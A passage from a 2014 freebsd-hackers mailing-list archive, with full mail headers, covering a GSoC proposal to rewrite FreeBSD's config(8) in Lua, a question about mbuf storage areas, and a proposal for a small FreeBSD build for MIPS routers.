A71B2CE4 for ; Sat, 15 Mar 2014 04:31:17 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 51BCAAF9 for ; Sat, 15 Mar 2014 04:31:17 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s2F4VAdA026712 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Fri, 14 Mar 2014 22:31:10 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s2F4V9ef026709; Fri, 14 Mar 2014 22:31:09 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Fri, 14 Mar 2014 22:31:09 -0600 (MDT) From: Warren Block To: Walt Ford Subject: Re: Overhaul the config system with Lua In-Reply-To: <20140315035144.GC6674@nbu> Message-ID: References: <20140315001820.GB5765@nbu> <20140315035144.GC6674@nbu> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Fri, 14 Mar 2014 22:31:10 -0600 (MDT) Cc: freebsd-hackers , =?ISO-2022-JP?Q?=1B$B=3Ck9=3E=1B=28J?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 04:31:17 -0000 On Fri, 14 Mar 2014, Walt Ford wrote: > On Fri, Mar 14, 2014 at 09:36:34PM -0600, Warren Block wrote: >> On Fri, 14 Mar 2014, Walt Ford wrote: >> >>> That's an excellent project. I've had Lua in my own base system for >>> years and have converted the rc system to use it at various times, >>> along with some base utilities. >> >> Speaking as someone who thinks too much stuff is in base... I'd like >> to see Lua in base. Or any modern scripting language, but Lua is >> small and has the right license. NetBSD put it in their kernel (!). > > I agree, I think all of contrib should be in ports only, but I prefer a > base with Lua. > > I didn't know NetBSD put it in their kernel. I started experimenting with > an embedded interpreter as a replacement for mi_startup() to easily pass > control back to it from subsystems, but I never got too far. http://www.netbsd.org/gallery/presentations/mbalmer/fosdem2012/kernel_mode_lua.pdf From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 05:09:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D70E53BF for ; Sat, 15 Mar 2014 05:09:02 +0000 (UTC) Received: from nm41-vm3.bullet.mail.bf1.yahoo.com (nm41-vm3.bullet.mail.bf1.yahoo.com [216.109.114.158]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5502ED25 for ; Sat, 15 Mar 2014 05:09:00 +0000 (UTC) Received: from [98.139.212.153] by nm41.bullet.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 05:06:27 -0000 Received: from [98.139.211.201] by tm10.bullet.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 05:06:26 -0000 Received: from [127.0.0.1] by smtp210.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 05:06:26 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394859986; bh=hBTrtqhXOwTHerYLD6j0PnPC2mScwA6aEgY6As08lxo=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Date:From:To:Cc:Subject:Message-ID:References:MIME-Version:Content-Type:Content-Disposition:In-Reply-To:User-Agent; b=NbffKuB3P1Hb7eTcAqsbNF6+0ySfmocc41drKcfnRVPUGwIz167FK+kOXU6rwJQkqYKqpoArnprBcP/Qcgu9CnCXq5PuJasMGcEkjSEJngMbyuTORUU1wZSk+H8wv10y5CJijiq7MKjW9tTnK+TJnxkRo05ri8JvsKnre0vjfpg= X-Yahoo-Newman-Id: 978731.10273.bm@smtp210.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: UAv6jWwVM1lh32.nVYl81c6YFQvCvhUWCSTa6GRflSOMNei 1u252Y6P3EAPD.iFoydJNY_zvi5O65uj0qhFJE8dNAkNYf9fLpokziAM7Ywg zjW8Ns5ff89dToQ3YZttOFOAMtBH26atDJftiLF0WKedu0RwjCw2cQIOodn_ Z4auY5TozhkbWpVQHUw0BmFKnYnt01bv1dU.7B_al4OA.NVk_XWe..RA45l4 qeJss8Ssljt1ac20YgdLYOBZA4pDMxniX_O.sfEbnFaCOCrSRmXWftAKMXWt JIPoZCXiozaDKxZ0kME7AZy7sVQdl1.2BJwyouynGuJRPJTbnpb8Gb3_I1.j Bec4jsrTyX7XLasir_2OmqE8ozMSeq8TQmTyoNUOjGDppPxrj_DV1Q4NN0nb vXXzq.jrUwQibiYXfkwCnvsbCUmm3rPLYnZsZWkeUXF47EvVpcud4Kl3NZON nWwL87d7XKmugSgwfc78ZCevEo9tDgCYWskhMjaMJQHsGPAc1f.PqkwKLrse a7TrCCDW7KaM2T7DUKj9u3NscY2wq_Jd8zNWA9UVXGVURR8s3Rey8uZf8QBx elMgSZoJyz3awoeI5c_6HJrXh_j5IQ.vOJu8Jq7IKlLzDMc2DRD4S9ZUmJA1 uBgsKLigYMSLx0XaxlBoyqlzJt8exyQ-- X-Yahoo-SMTP: yVvIDoOswBD5zOzqXnwUE.yVSR2Kvw-- X-Rocket-Received: from nbu (walt.ford@71.168.199.64 with plain [98.138.105.22]) by smtp210.mail.bf1.yahoo.com with SMTP; 14 Mar 2014 22:06:26 -0700 PDT Date: Sat, 15 Mar 2014 01:05:52 -0400 From: Walt Ford To: Warren Block Subject: Re: Overhaul the config system with Lua Message-ID: <20140315050552.GD6674@nbu> References: <20140315001820.GB5765@nbu> <20140315035144.GC6674@nbu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers , =?utf-8?B?5pyx5rGf?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 05:09:02 -0000 On Fri, Mar 14, 2014 at 10:31:09PM -0600, Warren Block wrote: > On Fri, 14 Mar 2014, Walt Ford wrote: >> >>I didn't know NetBSD put it in their kernel. > > http://www.netbsd.org/gallery/presentations/mbalmer/fosdem2012/kernel_mode_lua.pdf That's interesting. I think everything that doesn't go into a kernel linker set is fair game for a rewrite to Lua, but they seem to have a framework for allowing kernel subsystems to run Lua code too. I wonder how they handle concurrency and multithreading without modifying the interpreter. -- Walt From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 05:27:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8DE45648 for ; Sat, 15 Mar 2014 05:27:38 +0000 (UTC) Received: from mail-ve0-x231.google.com (mail-ve0-x231.google.com [IPv6:2607:f8b0:400c:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4B82DE71 for ; Sat, 15 Mar 2014 05:27:38 +0000 (UTC) Received: by mail-ve0-f177.google.com with SMTP id sa20so3598868veb.36 for ; Fri, 14 Mar 2014 22:27:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=WgXS+pvexEhu1sY1OBIVIix6hI52TTuGK1/wQt0flOQ=; b=PkhbGEEgPIg0Yq6u1vXfF5CeVyw/lwAhcoCKw/ZMKpG7g56Lc3zwAMfApMfQKFvaiH wRx/1HMj1qOhgOOlhjWmkcKuOrJSOTWgXVWNoZBjSFAdrV0ZlTWzuzuOIVtC9EgRHH8W ndCZnI1ZBUeOquxOpLQo6xJcnyW49cEU72MsblYoG4xfPnG2gKHkKvwuOBD02wr0SH+X 0dOkP41bsIPhEbnooSIL8V3xzA4PkGh94AhNUzQX/O5gjwrFEweiUb4HhomVYwgxWak9 kLuUNmE0xrPGqTk6PyxULc8TDgm6psjhom+yACS9Z8uTAe1RsRJYGMN89i/AorUGpjIz ucow== MIME-Version: 1.0 X-Received: by 10.220.67.18 with SMTP id p18mr9707438vci.14.1394861257364; Fri, 14 Mar 2014 22:27:37 -0700 (PDT) Received: by 10.59.6.199 with HTTP; Fri, 14 Mar 2014 22:27:37 -0700 (PDT) In-Reply-To: <20140315001820.GB5765@nbu> References: <20140315001820.GB5765@nbu> Date: Sat, 15 Mar 2014 13:27:37 +0800 Message-ID: Subject: Re: Overhaul the config system with Lua From: =?UTF-8?B?5pyx5rGf?= To: Walt Ford , freebsd-hackers Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 05:27:38 -0000 Walt, Your experience is very helpful to me. Can you provide more detail about your work? And I can learn something from your work. 2014-03-15 8:18 GMT+08:00 Walt Ford : > On Sat, Mar 15, 2014 at 01:11:03AM +0800, =E6=9C=B1=E6=B1=9F wrote: > > I want to overhaul the config system with Lua, and it will be my GSoC > 2014 > > project. Here is the > > proposal< > https://docs.google.com/document/d/1azZm8WHBiT_oaQ1fEhUWGiYWyn4hvwxEkMXqf= 1aR00g/edit?usp=3Dsharing > > > > That's an excellent project. I've had Lua in my own base system for > years and have converted the rc system to use it at various times, > along with some base utilities. I've been considering posting a > Kickstarter project to finally finish it all, but Lua isn't the most > popular language, and FreeBSD isn't the most popular OS. > > The main goal of my work was to present a more uniform userland. > Everybody hacks on the kernel, but userland gets a little ignored. > There's not much uniformity between command-line options, interactivity, > color, scriptability, layout, and naming of utilities, and Lua was a grea= t > fit to clean it up. > > I even got it to the point of generating utilities on its own. When > Robert Watson imported audit(2) it was able to crawl the headers and > generate a utility in the style of top(1) that showed the most active > audit record types as colorized output like gstat(8). Lua could get to > the point where it automatically generates entire applications with > uniform command-line options, interactivity, color, and scriptability, ju= st > based on kernel subsystem definitions in header files plus a little glue. > > Unfortunately, I've never had the time or money to finish it all. That > audit utility is dated 2007. > > > I will create a wiki in my site soon. Please let me know if you have an= y > > good ideas about the new config system. They will not be a part of my > GSoC > > project, however, I will do this work continuously after GSoC. > > I converted a lot of FreeBSD to Lua, but never config(8). Some build > issues > to figure out how to solve are: > > * the differences and sloppiness in how userland and kernel optio= ns > are handled > kernel options are manually documented in sys/conf/option= s* > and have no man page > share/examples/etc/kern.conf doesn't exist > userland options are documented in tools/build/options an= d > the man page, src.conf, is generated using a shell > script > share/examples/etc/src.conf doesn't exist > share/examples/etc/make.conf is manually updated and ofte= n > out-of-date > > * generate GENERIC config files > currently things are copied and pasted for every arch > would need to account for DEFAULTS > > * automatic generation of OptionalObsoleteFiles.inc > must be manually updated and has never been complete > a make target could build twice with and without option > then > find the missing files > probably a better job for jenkins and make, but Lua could > help > > I'm sure there are other ways to improve the build system as a whole usin= g > Lua, as long as you don't confine yourself to reimplementing config(8) > only. The information about options currently stored in > tools/build/options > and sys/conf/options should really be part of config(8), along with the > architecture information necessary to generate documentation or source > files > automatically. > > Lua would make a great kernel language as well, another one of the projec= ts > I started and haven't had time to play with. > > -- > Walt > --=20 Jiang Zhu mail.jiang.cn@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 06:31:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9CC7CE50 for ; Sat, 15 Mar 2014 06:31:51 +0000 (UTC) Received: from nm5-vm0.bullet.mail.bf1.yahoo.com (nm5-vm0.bullet.mail.bf1.yahoo.com [98.139.213.150]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 278943A1 for ; Sat, 15 Mar 2014 06:31:50 +0000 (UTC) Received: from [98.139.215.143] by nm5.bullet.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 06:28:28 -0000 Received: from [98.139.211.195] by tm14.bullet.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 06:28:28 -0000 Received: from [127.0.0.1] by smtp204.mail.bf1.yahoo.com with NNFMP; 15 Mar 2014 06:28:28 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1394864908; bh=j6UmVMcpFM1rR+xDyhX52z3ALrBbgMBs0nKLazdhc4I=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Date:From:To:Cc:Subject:Message-ID:References:MIME-Version:Content-Type:Content-Disposition:Content-Transfer-Encoding:In-Reply-To:User-Agent; b=uIUZ5X3wEyf5g+ZO2ZsbMblSFqexz6HfjcvlndM+9nbG2uCLkGVb8Cfhu7WWD07g9bIgj13bL2FDifJsvGwz8CwDnGKHx1BgPlLAeSxvn46vP7ck8YiMLm6PeA5WtFncupkI3ntGHZUaFa9jO5hQf4QiZw7lXxApzjE4BOEESBw= X-Yahoo-Newman-Id: 80046.28117.bm@smtp204.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: knDdq_cVM1knO6Lss9Ppf80U6JbuNZ4DTYKJO25Gtdl_JJw v867ZHivdUarbtVp.CZ4tZe4ASIgQZPuAC31apOFvgDfjLEcsyk8lqxbRzq7 B1rpjymw9.lOR5pyH6SmvaKoHpqFHQAtm4wCnKCAXeHtxh940kdVTO7CiZBn GAundpw3fYHP8sU8kIDd2ZbDp_P_DRMDQEbZeHmE8keQjncVh1V_sHcMjsfK wmQWVDza9Tx7v8qdBbVgp34HbKOQF55SZRseoMvpQl0vhTfGcwQrt14cfHz2 UCxmUEKfMziZLPuJcvQn59pD2OrrcNQrTozjQkAMHC9DY.Xd86z.ud5re8xL ghLrXQsQckAdtw_fbk68fl9DykB_RURhwVkn7q8yenYBvG6YdOnk8wuVBEL2 SniwtaTVhNMpfw8yzf9jXG6D2RgfEovJriDxfpADW6Nmcvz8ZJUNRrTw.3Fd JM3DlzWAncjIDuRq5RCK1GdeRiKF7Mz3YhUjs3i5PmvZkbSJRY4Kkf.Q52S5 uksD.UqKIMg-- X-Yahoo-SMTP: yVvIDoOswBD5zOzqXnwUE.yVSR2Kvw-- X-Rocket-Received: from nbu (walt.ford@71.168.199.64 with plain [63.250.193.229]) by smtp204.mail.bf1.yahoo.com with SMTP; 14 Mar 2014 23:28:28 -0700 PDT Date: Sat, 15 Mar 2014 02:27:53 -0400 From: Walt Ford To: =?utf-8?B?5pyx5rGf?= Subject: Re: Overhaul the config system with Lua Message-ID: <20140315062753.GE6674@nbu> References: <20140315001820.GB5765@nbu> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 06:31:51 -0000 On Sat, Mar 15, 2014 at 01:27:37PM +0800, 朱江 wrote: > > Your experience is very helpful to me. Can you provide more detail about > your work? And I can learn something from your work. Sure, but my work was mainly to give a unified appearance to those base utilties that either provide statistics, control subsystems, or configure devices. Unfortunately, config(8) doesn't really implement any of that. The user interface code could be reuseable, but config only has a command-line interface right now. If you work on this, even though FreeBSD doesn't have Lua in the base system, then in addition to moving the knowledge of options into config(8), the logic used to determine proper option defaults based on architecture and other options selected should go too. It's currently in a Makefile. Ideally, that would be part of config as well so the same utility could be used to configure a kernel to build using make(1) or to configure a custom binary kernel to install using pkg(8). It's currently not possible to do that, but we're getting closer. Options and the logic controlling them should be accessible without a source tree installed. Let me know what you're planning to implement and I'll see what can be reused. -- Walt From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 07:08:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4079E6BF for ; Sat, 15 Mar 2014 07:08:14 +0000 (UTC) Received: from mail-la0-x22b.google.com (mail-la0-x22b.google.com [IPv6:2a00:1450:4010:c03::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BB953849 for ; Sat, 15 Mar 2014 07:08:13 +0000 (UTC) Received: by mail-la0-f43.google.com with SMTP id e16so2450054lan.30 for ; Sat, 15 Mar 2014 00:08:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=9ujkg8b1rD6W+9Iv2IP24uq3pv0ft9BfqLgM4slbnSQ=; b=evaeYrFXX5d5XzUonFHmHf4IOkfubwowxABpbKevTNL0kIMqjFBzID5XMtRkqAVLpq IlQrSnt6yoJxTV70RLup/dd5uYJvecazxDoHS8u6MVxkAKGkxBQLVcP9MEVivRwE4536 Yu1SWxmM1W9wawQUmPK+yWwq2/8u1kNkKtLT2tFcvRC5m7f/PLssiFrEHxVHD2dJiQXs hClNO+nXkod+2+pjvUM+NmZTlLvgTk1YnVxDhWjDmG4ccdDm7sYHGFg85zzYyNyLtg3l yriRrpwgaFQanWLeXqc/L6lZCykhHfMpgzTRWWik9JVFovqBrIGWSlF00jONxGrR7yqb hFCQ== MIME-Version: 1.0 X-Received: by 10.152.170.137 with SMTP id am9mr8715581lac.15.1394867291837; Sat, 15 Mar 2014 00:08:11 -0700 (PDT) Received: by 10.112.209.37 with HTTP; Sat, 15 Mar 2014 00:08:11 -0700 (PDT) In-Reply-To: <20140315062753.GE6674@nbu> References: <20140315001820.GB5765@nbu> <20140315062753.GE6674@nbu> Date: Sat, 15 Mar 2014 15:08:11 +0800 Message-ID: Subject: Re: Overhaul the config system with Lua From: =?UTF-8?B?5pyx5rGf?= To: Walt Ford , freebsd-hackers Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 07:08:14 -0000 For now, I plan to implement following functionality: 1. basic functionality as old config 2. support dependencies 3. improve support for ARM platform 4. support conditionals (e.g. if something then .... else ....) 5. keep object files so that next time we can reuse the unchanged object files. 2014-03-15 14:27 GMT+08:00 Walt Ford : > On Sat, Mar 15, 2014 at 01:27:37PM +0800, =E6=9C=B1=E6=B1=9F wrote: > > > > Your experience is very helpful to me. Can you provide more detail abou= t > > your work? And I can learn something from your work. > > Sure, but my work was mainly to give a unified appearance to those base > utilties that either provide statistics, control subsystems, or configure > devices. Unfortunately, config(8) doesn't really implement any of that. > The user interface code could be reuseable, but config only has a > command-line interface right now. > > If you work on this, even though FreeBSD doesn't have Lua in the base > system, then in addition to moving the knowledge of options into config(8= ), > the logic used to determine proper option defaults based on architecture > and other options selected should go too. It's currently in a Makefile. > Ideally, that would be part of config as well so the same utility could > be used to configure a kernel to build using make(1) or to configure a > custom binary kernel to install using pkg(8). It's currently not > possible to do that, but we're getting closer. Options and the logic > controlling them should be accessible without a source tree installed. > > Let me know what you're planning to implement and I'll see what can be > reused. > > -- > Walt > --=20 Jiang Zhu mail.jiang.cn@gmail.com From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 07:47:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 859B3B5F; Sat, 15 Mar 2014 07:47:47 +0000 (UTC) Received: from mail-ee0-x22e.google.com (mail-ee0-x22e.google.com [IPv6:2a00:1450:4013:c00::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id ECB40ADC; Sat, 15 Mar 2014 07:47:46 +0000 (UTC) Received: by mail-ee0-f46.google.com with SMTP id t10so2132834eei.19 for ; Sat, 15 Mar 2014 00:47:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=HshJybbnUMO/CgPo61WFfbWPNB2JUHwXJY9A9PLcvyc=; b=YhhqZgKp8tW8PikTAdvRR2YIBc2D7ygewbZGJ274BganQC1tB+o/3GO5P9rfWpp0rJ vj53rqAjE1IkDrh/VIbFMXXDcldsHd60Vv4I7dJeEY6glaZVkGyPuEQLEWds/mjgY9tY LNxp5AXBXoj7L9BU2HQgn7p96oNSV2Jl0RpV+SY01FFZ4pFNOFwuZJGPkD0Rw+twRRqd mUFRSOnNoY4v1uKEk/LH8BmS6oyPMlAYoAQNrqRVzgjkRHvUlu60OqgQqCidxHVjMwwx 0NkG4lI6GvQaro+uvb4jYykidt4Ubc9fJEK4AK/XNSGPo9xvgZqhx7CfbFFgGsezzPq1 b8jQ== X-Received: by 10.14.107.129 with SMTP id o1mr1238043eeg.99.1394869665411; Sat, 15 Mar 2014 00:47:45 -0700 (PDT) Received: from [192.168.2.30] ([2.176.141.45]) by mx.google.com with ESMTPSA id 43sm22773438eeh.13.2014.03.15.00.47.43 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 15 Mar 2014 00:47:44 -0700 (PDT) Message-ID: <532405B7.2020007@gmail.com> Date: Sat, 15 Mar 2014 11:18:07 +0330 From: Hooman Fazaeli User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130215 Thunderbird/17.0.3 MIME-Version: 1.0 To: Rui Paulo Subject: Re: mbuf question References: <53230214.7010501@gmail.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 07:47:47 -0000 On 3/15/2014 5:09 AM, Rui Paulo wrote: > On 14 Mar 2014, at 06:20, Hooman Fazaeli wrote: > >> Hi list, >> >> Is it safe to use m->m_pktdat area to store some arbitrary data about packets allocated as mbuf+cluster pair? > No, because m_pktdat is really MH_databuf which is part of a union with MH_ext which is set when you allocate an mbuf cluster. > > -- > Rui Paulo > > > Thanks for the point. I simply overlooked the fact that MH_dat is a union, not a struct. What about the area started at (m->m_ext + 1) whose size is (MHLEN - sizeof(struct m_ext))? Is there any known uses of this area in the stack? -- Best regards. Hooman Fazaeli From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 11:34:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DBE83E2 for ; Sat, 15 Mar 2014 11:34:51 +0000 (UTC) Received: from unsane.co.uk (unsane-pt.tunnel.tserv5.lon1.ipv6.he.net [IPv6:2001:470:1f08:110::2]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6A0D5E6A for ; Sat, 15 Mar 2014 11:34:51 +0000 (UTC) Received: from vhoffman-macbooklocal.local (vincemacbook.unsane.co.uk [10.10.10.20]) (authenticated bits=0) by unsane.co.uk (8.14.7/8.14.6) with ESMTP id s2FBYjD7081901 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Sat, 15 Mar 2014 11:34:47 GMT (envelope-from vince@unsane.co.uk) Message-ID: <53243AD5.1000603@unsane.co.uk> Date: Sat, 15 Mar 2014 11:34:45 +0000 From: Vincent Hoffman User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: CeDeROM , freebsd-hackers@freebsd.org Subject: Re: GSoC proposition: pico FreeBSD for soho MIPS routers (OpenWRT alike) References: In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 11:34:51 -0000 I think this is mostly done? I'd suggest that you look at https://github.com/kientzle/crochet-freebsd Vince On 12/03/2014 17:03, CeDeROM wrote: > My proposition is to create easy way to create pico FreeBSD > distribution and build tools to run FreeBSD on soho MIPS routers, just > as OpenWRT. > From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 11:44:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 06A4942F for ; Sat, 15 Mar 2014 11:44:26 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [IPv6:2a01:4f8:131:60a2::2]) by mx1.freebsd.org (Postfix) with ESMTP id BD5D1F12 for ; Sat, 15 Mar 2014 11:44:25 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:6953:60be:b581:151f]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id B49B74AC1C; Sat, 15 Mar 2014 15:44:22 +0400 (MSK) Date: Sat, 15 Mar 2014 15:44:14 +0400 From: Lev Serebryakov Organization: FreeBSD X-Priority: 3 (Normal) Message-ID: <138446120.20140315154414@serebryakov.spb.ru> To: Vincent Hoffman Subject: Re: GSoC proposition: pico FreeBSD for soho MIPS routers (OpenWRT alike) In-Reply-To: <53243AD5.1000603@unsane.co.uk> References: <53243AD5.1000603@unsane.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-hackers@freebsd.org, CeDeROM X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Mar 2014 11:44:26 -0000 Hello, Vincent. You wrote 15 =D0=BC=D0=B0=D1=80=D1=82=D0=B0 2014 =D0=B3., 15:34:45: VH> I think this is mostly done? I'd suggest that you look at VH> https://github.com/kientzle/crochet-freebsd Problem not in a script (we have nanobsd for it!), but minimal size of usable system, both compressed (think: 16Mb or even 4Mb of Flash) and uncompressed (think: 32Mb of RAM). --=20 // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 15 16:31:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id ABF32904 for ; Sat, 15 Mar 2014 16:31:56 +0000 (UTC) Received: from smtpauth4.wiscmail.wisc.edu (wmauth4.doit.wisc.edu [144.92.197.145]) (using TLSv1 with cipher RC4-MD5 (128/128 